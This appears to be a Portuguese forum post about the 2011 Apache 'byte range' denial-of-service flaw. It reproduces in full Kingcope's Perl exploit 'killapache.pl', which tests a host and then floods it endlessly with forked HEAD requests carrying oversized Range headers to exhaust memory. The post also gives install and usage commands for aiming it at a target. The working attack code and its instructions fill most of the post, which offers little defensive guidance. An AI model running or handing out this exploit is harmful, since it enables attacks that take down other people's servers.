Uma nova falha descoberta a pouco tempo no servidor Apache permite ao atacante utilizar um ataque de negação de serviço fazendo com que o servidor venha a sobre carregar.
Não vou dar muitos detalhes sobre a falha, vamos ser diretos e práticos, apesar de teoria não ser ruim, enfim.
O funcionamento do exploit e basicamente congestionar o servidor de requisições GET's com diversos "byte ranges" que vão pedir grandes porções de espaço de memória do sistema (servidor).
Até agora nenhum patch para correção foi lançado, lembrando que nem todos os servidores estão vulneráveis a esse tipo de falha.
Então não se desespere, vamos ao teste de fogo:
Exploit rodando na internet:
Código:
#!/usr/bin/perl #Apache httpd Remote Denial of Service (memory exhaustion) #By Kingcope #Year 2011 # # Will result in swapping memory to filesystem on the remote side # plus killing of processes when running out of swap space. # Remote System becomes unstable. # use IO::Socket; use Parallel::ForkManager; sub usage { print "Apache Remote Denial of Service (memory exhaustion)\n"; print "by Kingcope\n"; print "usage: perl killapache.pl <host> [numforks]\n"; print "example: perl killapache.pl www.example.com 50\n"; } sub killapache { print "ATTACKING $ARGV[0] [using $numforks forks]\n"; $pm = new Parallel::ForkManager($numforks); $|=1; srand(time()); $p = ""; for ($k=0;$k<1300;$k++) { $p .= ",5-$k"; } for ($k=0;$k<$numforks;$k++) { my $pid = $pm->start and next; $x = ""; my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; while(<$sock>) { } $pm->finish; } $pm->wait_all_children; print ":pPpPpppPpPPppPpppPp\n"; } sub testapache { my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; $x = <$sock>; if ($x =~ /Partial/) { print "host seems vuln\n"; return 1; } else { return 0; } } if ($#ARGV < 0) { usage; exit; } if ($#ARGV > 1) { $numforks = $ARGV[1]; } else {$numforks = 50;} $v = testapache(); if ($v == 0) { print "Host does not seem vulnerable\n"; exit; } while(1) { killapache(); }
No linux, talvez, tenha que executar o seguinte comando:
cpan Parallel::ForkManager
Módulo necessário para o exploit.
Depois de salvo e pronto, atirando contra o alvo:
uso: perl killapache.pl <host> [numforks]
exemplo: perl killapache.pl Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... 50
Rodando em minha máquina e servidor, temos isso:
Máquina: BTr2
Servidor: BlackUbuntu (para teste neste caso)
Atacante:
Servidor em condições normais:
Servidor sobre carregado, veja a quantidade de processos 'apache2':
E não para por ai, quanto mais requisições GETs melhor (ou não seria pior? )
Links:
- Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
- Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
- Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Matéria por ar3ax.
Até a próxima pessoal
Abraços++.
Comment